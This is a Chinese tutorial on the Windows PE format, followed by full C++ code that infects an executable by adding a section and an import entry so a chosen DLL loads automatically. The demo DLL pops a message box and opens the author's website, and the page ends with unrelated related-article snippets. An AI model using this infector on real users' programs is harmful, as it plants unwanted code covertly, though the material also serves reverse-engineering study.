劫持 PE 文件:新建节表并插入指定 DLL 文件
PE格式简介
PE(Portable Executable)格式,是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。
Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的,当然CPU不一样了,CPU指令的二进制编码是不一样的。只是文件中各种东西的布局是一样的。
PE文件使用的是一个平面地址空间,所有代码和数据都合并在一起,组成一个很大的结构。主要有:
下面是一个简化的PE文件格式
DOS MZ Header |
PE Header |
Section Table |
Section 1 |
Section 2 |
... |
Section n |
Dos Mz head 和Dos stub和称Dos文件头,PE文件的第一个字节起始于MS-DOS头部,被称作IMAGE_DOS_HEADER.紧随Dos stub的是PE文件头(PE Header),PE Header是PE相关结构NT映像头(IMAGE_NT_HEADERS)的简称,其中包含许多PE装载器用到的重要字段。
1、入口点 Entry Point
2、文件偏移地址 File Offset
3、虚拟地址 Virtual Address 简称:VA
4、基地址 ImageBase
5、相对虚拟地址 Relative Virual Address 简称:RVA
公式: RVA (相对虚拟地址) =VA (虚拟地址) - ImageBase (基地址)
文件偏移地址和虚拟地址转换
在X86系统中,每个内存页的大小是4KB,即0X1000个字节。
文件偏移地址 File Offset = RVA (相对虚拟地址)
文件偏移地址 File Offset = VA (虚拟地址) - ImageBase (基地址)
- PE具体结构图
pe格式的结构体定义可以在编译器的include文件夹里的winnt.h找到。
如下所示(经过简化的,具体的可以查看winnt.h,不同字长的结构,其实大体一样的)。
几个宏定义:
IMAGE_DOS_HEADER
typedef struct _IMAGE_DOS_HEADER{WORD e_magic; //魔术数字,所有MS-DOS兼容的可执行文件都将此值设为0X4D5A(MZ)WORD e_cblp; //文件最后页的字节数WORD e_cp; //文件页数WORD e_crlc; //重定义元素个数WORD e_cparhdr; //头部尺寸,以段落为单位WORD e_minalloc; //所需的最小附加段WORD e_maxalloc; //所需的最大附加段WORD e_ss; //初始的SS值(相对偏移量)WORD e_sp; //初始的SP值WORD e_csum; //校验和WORD e_ip; //初始的IP值WORD e_cs; //初始的CS值(相对偏移量)WORD e_lfarlc; //重分配表文件地址WORD e_ovno; //覆盖号WORD e_res[4]; //保留字WORD e_oemid; //OEM标识符(相对e_oeminfo)WORD e_oeminfo; //OEM信息WORD e_res2[10]; //保留字DWORD e_lfanew; //新exe头部的文件地址}IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
IMAGE_NT_HEADERS
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16typedef struct IMAGE_NT_HEADERS{DWORD Signature;IMAGE_FILE_HEADER FileHeader;IMAGE_OPTIONAL_HEADER32 OptionalHeader;}IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;typedef struct IMAGE_FILE_HEADER{WORD Machine;WORD NumberOfSections;//节的数量DWORD TimeDateStamp;DWORD PointerToSymbols;DWORD NumberOfSymbols;WORD SizeOfOptionalHeader;WORD Characteristics;}IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER;typedef struct IMAGE_OPTIONAL_HEADER32{WORD Magic;BYTE MajorLinkerVersion;BYTE MinorLinkerVersion;DWORD SizeOfCode;DWORD SizeOfInitializedData;DWORD SizeOfUnInitializedData;DWORD AddressOfEntryPoint;DWORD BaseOfCode;DWORD BaseOfData;DWORD ImgaeBase;DWORD SectionAlignment;DWORD FileAlignment;WORD MajorOperatingSystemVersion;WORD MinorOperatingsystemversion;WORD MajorImageVersion;WORD MinorImageVersion;WORD MajorSubsybtemVersion;WORD MinorSubsybtemVersion;DWORD Win32VersionValue;DWORD SizeOfImage;DWORD SizeoOfHeaders;DWORD CheckSum;WORD Subsystem;WORD DllCharacteristics;DWORD SizeOfStackReserve;DWORD SizeOfStackCommit;DWORD SizeOfHeapReserve;DWORD SizeOfHeapCommit;DWORD LoaderFlages;DWORD NumberOfRvaAndSizes;IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];}IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;
IMAGE_SECTION_HEADER
PE文件头后是节表,在winnt.h下如下定义typedef struct _IMAGE_SECTION_HEADER{//IMAGE_SIZEOF_SHORT_NAME=8BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//节表名称,如".text"union{DWORD PhysicalAddress;//物理地址DWORD VirtualSize;//真实长度,这两个值是一个联合结构,可以使用其中的任何一个,//一般是节的数据大小} Misc;DWORD VirtualAddress;//RVADWORD SizeOfRawData;//物理长度DWORD PointerToRawData;//节基于文件的偏移量DWORD PointerToRelocations;//重定位的偏移DWORD PointerToLinenumbers;//行号表的偏移WORD NumberOfRelocations;//重定位项数目WORD NumberOfLinenumbers;//行号表的数目DWORD Characteristics;//节属性 如可读,可写,可执行等} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
typedef struct IMAGE_THUNK_DATA{union{DWORD ForwarderString;DWORD Function;DWORD Ordinal;DWORD AddressOfData;}u1;}IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;typedef struct IMAGE_IMPORT_BY_NAME{WORD Hint;BYTE Name;}IMAGE_IMPORT_BY_NAME;
详细PE结构说明请查阅:
PE文件结构详解 --(完整版)https://hupengcheng.blog.csdn.net/article/details/125847139?spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-125847139-blog-92456577.235%5Ev40%5Epc_relevant_anti_t3_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-125847139-blog-92456577.235%5Ev40%5Epc_relevant_anti_t3_base&utm_relevant_index=10
- 修改 PE 文件 IAT 注入
通过以上的简单了解后,那么我们便进入正题。
下面演示的这种方法其实是 PE 感染的一种,通过对目标程序添加一个新节并注入DLL,然后这会改变 PE 文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节。
1、在目标 PE 文件中添加一个新节并映射 PE 文件,判断是否可以加一个新节,找到节的尾部,矫正偏移,对齐 RVA 填充新节 PIMAGE_SECTION_HEADER,修改IMAGE_NT_HEADERS,将新节添加到文件尾部。
2、修改导入表:判断是否使用了绑定导入表,往新节中拷贝原导入表内容,继续构造新的导入表描述符 PIMAGE_IMPORT_DESCRIPTOR,构造IAT结构体 PIMAGE_THUNK_DATA,填充 PIMAGE_THUNK_DATA,将 PIMAGE_IMPORT_DESCRIPTOR 的 OriginalFirstThunk 和 FirstThunk 指向 PIMAGE_THUNK_DATA,name 指向 DllName,最后修改导入表的 VirtualAddress 指向新节。
IDT 结构:
IDT 的描述在 IMAGE_OPTION_HEADER 里面的 IMPORT Table,通过 size 可以确定是否有足够的空间让我们添加。
IDT 是由 IMAGE_IMPORT_DESCRIPTION (简称IID) 结构体组成的数组,数组末尾以NULL结构体结束。每个IID结构体为0x14字节所以这里IID区域为RVA。
废话不多……直接上代码。
- 现实代码
DLL:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"extern "C"
{__declspec(dllexport) int Msg();
}__declspec(dllexport) int Msg()
{system("start https://www.chwm.vip/?PEinject_v1.0");return 0;
}DWORD WINAPI Thread(LPVOID LpParameter)
{char szPath[MAX_PATH] = { 0 };char szBuf[1024] = { 0 };GetModuleFileName(NULL, szPath, MAX_PATH);sprintf(szBuf, "DLL 已注入到进程\r\n%s\r\nProcessID\r\n%d\r\n", szPath, GetCurrentProcessId());MessageBox(NULL, szBuf, "DLL Inject", MB_OK);return 0;
}BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:CreateThread(NULL, 0, Thread, NULL, 0, NULL);Msg();break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}
主程序:
// PEinject.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"
#include "PEinject.h"#ifdef _DEBUG
#define new DEBUG_NEW
#endif#define ERROR_MESSAGE(Msg) cout << Msg << endl;// 唯一的应用程序对象CWinApp theApp;using namespace std;BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize);
BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
DWORD RVAToFOA(PIMAGE_NT_HEADERS pNtHeaders, DWORD dwRVA);
ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign);BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{BOOL bOk = false;try{bOk = AddNewSection(strTargetFile, 256);if (!bOk){ERROR_MESSAGE("AddImportTable:AddNewSection failed.");return false;}bOk = AddNewImportDescriptor(strTargetFile, strInjectDllName, strFunctionName);if (!bOk){ERROR_MESSAGE("AddImportTable:AddNewImportDescriptor failed.");return false;}}catch (exception* e){ERROR_MESSAGE((string("AddImportTable:") + e->what()).c_str());return false;}return true;
}BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize)
{BOOL bOk = true;HANDLE TargetFileHandle = nullptr;HANDLE MappingHandle = nullptr;PVOID FileData = nullptr;try{// 打开文件TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (TargetFileHandle == INVALID_HANDLE_VALUE){ERROR_MESSAGE(string("AddNewSection:CreateFileA error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);// 映射文件MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);if (MappingHandle == NULL){ERROR_MESSAGE(string("AddNewSection:CreateFileMapping error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 得到缓存头FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);if (FileData == NULL){ERROR_MESSAGE(string("AddNewSection:MapViewOfFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 判断是否是PE文件if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE){ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");bOk = false;goto EXIT;}PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE){ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");bOk = false;goto EXIT;}// 判断是否可以增加一个新节if ((pNtHeaders->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeaders->OptionalHeader.SizeOfHeaders/*三个部分的总大小*/){ERROR_MESSAGE("AddNewSection:There is not enough space to add a new section.");bOk = false;goto EXIT;}// 得到新节的起始地址, 最后的起始地址PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections;PIMAGE_SECTION_HEADER pLastSectionHeader = pNewSectionHeader - 1;// 对齐RVA和偏移DWORD FileSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.FileAlignment);DWORD FileOffset = PEAlign(pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData, pNtHeaders->OptionalHeader.FileAlignment);DWORD VirtualSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.SectionAlignment);DWORD VirtualOffset = PEAlign(pLastSectionHeader->VirtualAddress + pLastSectionHeader->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment);// 填充新节表memcpy(pNewSectionHeader->Name, "00cfg", strlen("00cfg"));pNewSectionHeader->VirtualAddress = VirtualOffset;pNewSectionHeader->Misc.VirtualSize = VirtualSize;pNewSectionHeader->PointerToRawData = FileOffset;pNewSectionHeader->SizeOfRawData = FileSize;pNewSectionHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;// 修改IMAGE_NT_HEADERSpNtHeaders->FileHeader.NumberOfSections++;pNtHeaders->OptionalHeader.SizeOfImage += VirtualSize;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; // 关闭绑定导入pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;// 添加新节到文件尾部SetFilePointer(TargetFileHandle, 0, 0, FILE_END);PCHAR pNewSectionContent = new CHAR[FileSize];RtlZeroMemory(pNewSectionContent, FileSize);DWORD dwWrittenLength = 0;bOk = WriteFile(TargetFileHandle, pNewSectionContent, FileSize, &dwWrittenLength, nullptr);if (bOk == false){ERROR_MESSAGE(string("AddNewSection:WriteFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}}catch (exception* e){ERROR_MESSAGE((string("AddNewSection:") + e->what()).c_str());bOk = false;}
EXIT:if (TargetFileHandle != NULL){CloseHandle(TargetFileHandle);TargetFileHandle = nullptr;}if (FileData != NULL){UnmapViewOfFile(FileData);FileData = nullptr;}if (MappingHandle != NULL){CloseHandle(MappingHandle);MappingHandle = nullptr;}return bOk;
}ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign)
{return(((dwNumber + dwAlign - 1) / dwAlign) * dwAlign); // 想 dwAlign 对齐,加上 dwAlign - 1,这样就可以保证对齐后的值 >= dwNumber
}BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{bool bOk = true;HANDLE TargetFileHandle = nullptr;HANDLE MappingHandle = nullptr;PVOID FileData = nullptr;PIMAGE_IMPORT_DESCRIPTOR pImportTable = nullptr;try{// 打开文件TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (TargetFileHandle == INVALID_HANDLE_VALUE){ERROR_MESSAGE(string("AddNewImportDescriptor:CreateFileA error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);// 映射文件MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);if (MappingHandle == NULL){cout << "AddNewImportDescriptor:CreateFileMapping error with error code:" << std::to_string(GetLastError()).c_str();bOk = false;goto EXIT;}// 得到缓存头FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);if (FileData == NULL){ERROR_MESSAGE(string("AddNewImportDescriptor:MapViewOfFile error with error code:" + GetLastError()).c_str());bOk = false;goto EXIT;}// 判断是否是PE文件if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE){ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");bOk = false;goto EXIT;}PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE){ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");bOk = false;goto EXIT;}// 得到原导入表pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)FileData + RVAToFOA(pNtHeaders, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));// 判断是否使用了绑定导入表bool bBoundImport = false;if (pImportTable->Characteristics == 0 && pImportTable->FirstThunk != 0){// 桥一为0 桥二不是0 说明使用了绑定导入表bBoundImport = true;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; // 关闭绑定导入pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;}// 找到自己添加的新节PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections - 1;PBYTE pNewSectionData = pNewSectionHeader->PointerToRawData + (PBYTE)FileData;PBYTE pNewImportDescriptor = pNewSectionData;// 往新节中拷贝原导入表内容int i = 0;while (pImportTable->FirstThunk != 0 || pImportTable->Characteristics != 0){memcpy(pNewSectionData + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), pImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR));pImportTable++;pNewImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);i++;}// 复制最后一个描述符memcpy(pNewImportDescriptor, pNewImportDescriptor - sizeof(IMAGE_IMPORT_DESCRIPTOR), sizeof(IMAGE_IMPORT_DESCRIPTOR));// 计算修正值DWORD dwDelt = pNewSectionHeader->VirtualAddress - pNewSectionHeader->PointerToRawData;// pNewImportDescriptor 当前指向要构造的新描述符 再空出一个空描述符作为导入表的结束符 所以是 2 *PIMAGE_THUNK_DATA pNewThunkData = PIMAGE_THUNK_DATA(pNewImportDescriptor + 2 * sizeof(IMAGE_IMPORT_DESCRIPTOR));PBYTE pszDllName = (PBYTE)(pNewThunkData + 2);memcpy(pszDllName, strInjectDllName.c_str(), strInjectDllName.length());// 确定 DllName 的位置pszDllName[strInjectDllName.length() + 1] = 0;// 确定 IMAGE_IMPORT_BY_NAM 的位置PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pszDllName + strInjectDllName.length() + 1);// 初始化 IMAGE_THUNK_DATApNewThunkData->u1.Ordinal = (DWORD_PTR)pImportByName - (DWORD_PTR)FileData + /*加上修正值 - 这里应该填充在内存中的地址*/dwDelt;// 初始化 IMAGE_IMPORT_BY_NAMEpImportByName->Hint = 1;memcpy(pImportByName->Name, strFunctionName.c_str(), strFunctionName.length());pImportByName->Name[strFunctionName.length() + 1] = 0;// 初始化 PIMAGE_IMPORT_DESCRIPTORif (bBoundImport){((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = 0;}else{((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;}((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->FirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->Name = dwDelt + (DWORD_PTR)pszDllName - (DWORD_PTR)FileData;// 修改导入表入口pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pNewSectionHeader->VirtualAddress;pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR);}catch (exception* e){ERROR_MESSAGE((string("AddNewImportDescriptor:") + e->what()).c_str());bOk = false;}EXIT:{if (TargetFileHandle != NULL){CloseHandle(TargetFileHandle);TargetFileHandle = nullptr;}if (FileData != NULL){UnmapViewOfFile(FileData);FileData = nullptr;}if (MappingHandle != NULL){CloseHandle(MappingHandle);MappingHandle = nullptr;}}return bOk;
}PIMAGE_SECTION_HEADER GetOwnerSection(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{int i;PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNTHeaders + 1);for (i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++){if ((dwRVA >= (pSectionHeader + i)->VirtualAddress) && (dwRVA <= ((pSectionHeader + i)->VirtualAddress + (pSectionHeader + i)->SizeOfRawData))){return ((PIMAGE_SECTION_HEADER)(pSectionHeader + i));}}return PIMAGE_SECTION_HEADER(NULL);
}DWORD RVAToFOA(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{DWORD _offset;PIMAGE_SECTION_HEADER section;// 找到偏移所在节section = GetOwnerSection(pNTHeaders, dwRVA);if (section == NULL){return(0);}// 修正偏移_offset = dwRVA + section->PointerToRawData - section->VirtualAddress;return(_offset);
}int main(int argc, char *argv[])
{AddImportTable("Wmplayer.exe", "TestDLL.dll", "Msg");system("start https://www.chwm.vip/?PEinject_v1.0");system("pause");return 0;
}
- 效果演示:
修改前
修改后
运行效果
相关文章:

劫持 PE 文件:新建节表并插入指定 DLL 文件
PE格式简介 PE(Portable Executable)格式,是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。 Portable 是指对于不同的Windows版本和不同的CPU类型上…...

HTTP分数排行榜
HTTP分数排行榜 介绍一、创建数据库二、创建PHP脚本三、上传下载分数四、测试 介绍 Unity中向服务器发送用户名和得分,并存入数据库,再讲数据库中的得分按照降序的方式下载到Unity中。 一、创建数据库 首先,我们要在MySQL数据库中建立一个…...

Android 实现 Slots 游戏旋转效果
文章目录 前言一、效果展示二、代码实现1.UI布局2.SlotAdapter2.SlotsActivity 总结 前言 slots游戏: Slots游戏是一种极具流行度的赌博和娱乐形式,通常被称为老虎机或水果机。它们在赌场、线上游戏平台和手机应用中广泛存在。一般这类游戏都使用Unity…...

AI产品经理 - 如何做一款软硬协同AI产品
【背景】从0做一款软硬协同的AI产品,以智能医药保温箱 1.以智能医药保温箱 2.调研定义市场方向 地点:医药、实验室 场景:长宽高/装箱/运输/实验室 3.需求挖掘 4.如何进行软硬件AI产品工作 软硬件产品设计:功能/硬件外观设计、…...

拒绝采样(算法)总结
先说说什么是拒绝采样算法:就类似于数学上的求阴影面积的方法,直接求求不出来,就用大面积 - 小面积 阴影面积的办法。 所谓拒绝 和 采样 :就像是撒豆子计个数,计算概率问题一样,大桶里面套小桶,…...

分布式数据库事务故障恢复的原理与实践
关系数据库中的事务故障恢复并不是一个新问题,自70年代关系数据库诞生之后就一直伴随着数据库技术的发展,并且在分布式数据库的场景下又遇到了一些新的问题。本文将会就事务故障恢复这个问题,分别讲述单机数据库、分布式数据库中遇到的问题和…...

Spark中的数据加载与保存
Apache Spark是一个强大的分布式计算框架,用于处理大规模数据。在Spark中,数据加载与保存是数据处理流程的关键步骤之一。本文将深入探讨Spark中数据加载与保存的基本概念和常见操作,包括加载不同数据源、保存数据到不同格式以及性能优化等方…...

2023-12-20 LeetCode每日一题(判别首字母缩略词)
2023-12-20每日一题 一、题目编号 2828. 判别首字母缩略词二、题目链接 点击跳转到题目位置 三、题目描述 给你一个字符串数组 words 和一个字符串 s ,请你判断 s 是不是 words 的 首字母缩略词 。 如果可以按顺序串联 words 中每个字符串的第一个字符形成字符…...
C# 事件(Event)
C# 事件(Event) C# 事件(Event)通过事件使用委托声明事件(Event)实例 C# 事件(Event) 事件(Event) 基本上说是一个用户操作,如按键、点击、鼠标移…...
2312d,d的sql构建器
原文 项目 该项目在我工作项目中广泛使用,它允许自动处理联接方式动态构建SQL语句. 还会自动直接按表示数据库行结构序化.它在dconf2022在线演讲中介绍了:建模一切. 刚刚添加了对sqlite的支持.该API还不稳定,但仍非常有用.这是按需构建,所以虽然有个计划外表,但满足了我的需要…...

以太网二层交换机实验
实验目的: (1)理解二层交换机的原理及工作方式; (2)利用交换机组建小型交换式局域网。 实验器材: Cisco packet 实验内容: 本实验可用一台主机去ping另一台主机,并…...

启封涂料行业ERP需求分析和方案分享
涂料制造业是一个庞大而繁荣的行业 它广泛用于建筑、汽车、电子、基础设施和消费品。涂料行业生产不同的涂料,如装饰涂料、工业涂料、汽车涂料和防护涂料。除此之外,对涂料出口的需求不断增长,这增加了增长和扩张的机会。近年来,…...

华为ensp网络设计期末测试题-复盘
网络拓扑图 地址分配表 vlan端口分配表 需求 The device is running!<Huawei>sys Enter system view, return user view with CtrlZ. [Huawei]un in en Info: Information center is disabled. [Huawei]sys S1 [S1]vlan 99 [S1-vlan99]vlan 100 [S1-vlan100]des IT [S1-…...
Dockerfile: WORKDIR vs VOLUME
WORKDIR WORKDIR指令为Dockerfile中的任何RUN、CMD、ENTRYPOINT、COPY和ADD指令设置工作目录。 如果WORKDIR不存在,它将被创建,即使它没有在任何后续Dockerfile指令中使用。 语法 : WORKDIR dirpath WORKDIR指令可以在Dockerfile中多次使用。如果提供了…...
spring ioc源码-refresh();
主要作用是刷新应用上下文 Override public void refresh() throws BeansException, IllegalStateException {synchronized (this.startupShutdownMonitor) {// 启动刷新的性能跟踪步骤StartupStep contextRefresh this.applicationStartup.start("spring.context.refre…...

使用递归实现深拷贝
文章目录 为什么要使用递归什么深拷贝具体实现基础实现处理 函数处理 Symbol处理 Set处理 Map处理 循环引用 结语-源码 为什么要使用递归什么深拷贝 我们知道在 JavaScript 中可以通过使用JSON序列化来完成深拷贝,但是这种方法存在一些缺陷,比如对于函数…...

工程(十七)——自己数据集跑R2live
博主创建了一个科研互助群Q:772356582,欢迎大家加入讨论。 r2live是比较早的算法,编译过程有很多问题,通过以下两个博客可以解决 编译R2LIVE问题&解决方法-CSDN博客 r2live process has died 问题解决了_required process …...

【python高级用法】迭代器、生成器、装饰器、闭包
迭代器 可迭代对象:可以使用for循环来遍历的,可以使用isinstance()来测试。 迭代器:同时实现了__iter__()方法和__next__()方法,可以使用isinstance()方法来测试是否是迭代器对象 from collections.abc import Iterable, Iterat…...

Nx市工业数据洞察:Flask、MySQL、Echarts的可视化之旅
Nx市工业数据洞察:Flask、MySQL、Echarts的可视化之旅 背景数据集来源技术选型功能介绍创新点总结 背景 随着工业化的不断发展,Nx市工业数据的收集和分析变得愈发重要。本博客将介绍如何利用Flask、MySQL和Echarts等技术,从统计局获取的数据…...
关于正态分布
目录 1.正态分布是什么2.正态分布有什么用途3.如何确定数据服从正态分布 本文简单介绍正态分布的基本概念和用途。 1.正态分布是什么 正态分布,也称为高斯分布,是由德国数学家卡尔弗里德里希高斯在研究测量误差时提出的。他发现许多自然现象和统计数据…...
k8s从入门到放弃之Ingress七层负载
k8s从入门到放弃之Ingress七层负载 在Kubernetes(简称K8s)中,Ingress是一个API对象,它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress,你可…...

23-Oracle 23 ai 区块链表(Blockchain Table)
小伙伴有没有在金融强合规的领域中遇见,必须要保持数据不可变,管理员都无法修改和留痕的要求。比如医疗的电子病历中,影像检查检验结果不可篡改行的,药品追溯过程中数据只可插入无法删除的特性需求;登录日志、修改日志…...

【JVM】- 内存结构
引言 JVM:Java Virtual Machine 定义:Java虚拟机,Java二进制字节码的运行环境好处: 一次编写,到处运行自动内存管理,垃圾回收的功能数组下标越界检查(会抛异常,不会覆盖到其他代码…...
Objective-C常用命名规范总结
【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名(Class Name)2.协议名(Protocol Name)3.方法名(Method Name)4.属性名(Property Name)5.局部变量/实例变量(Local / Instance Variables&…...
Neo4j 集群管理:原理、技术与最佳实践深度解析
Neo4j 的集群技术是其企业级高可用性、可扩展性和容错能力的核心。通过深入分析官方文档,本文将系统阐述其集群管理的核心原理、关键技术、实用技巧和行业最佳实践。 Neo4j 的 Causal Clustering 架构提供了一个强大而灵活的基石,用于构建高可用、可扩展且一致的图数据库服务…...

Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...
C# SqlSugar:依赖注入与仓储模式实践
C# SqlSugar:依赖注入与仓储模式实践 在 C# 的应用开发中,数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护,许多开发者会选择成熟的 ORM(对象关系映射)框架,SqlSugar 就是其中备受…...
Typeerror: cannot read properties of undefined (reading ‘XXX‘)
最近需要在离线机器上运行软件,所以得把软件用docker打包起来,大部分功能都没问题,出了一个奇怪的事情。同样的代码,在本机上用vscode可以运行起来,但是打包之后在docker里出现了问题。使用的是dialog组件,…...

JVM 内存结构 详解
内存结构 运行时数据区: Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器: 线程私有,程序控制流的指示器,分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 每个线程都有一个程序计数…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...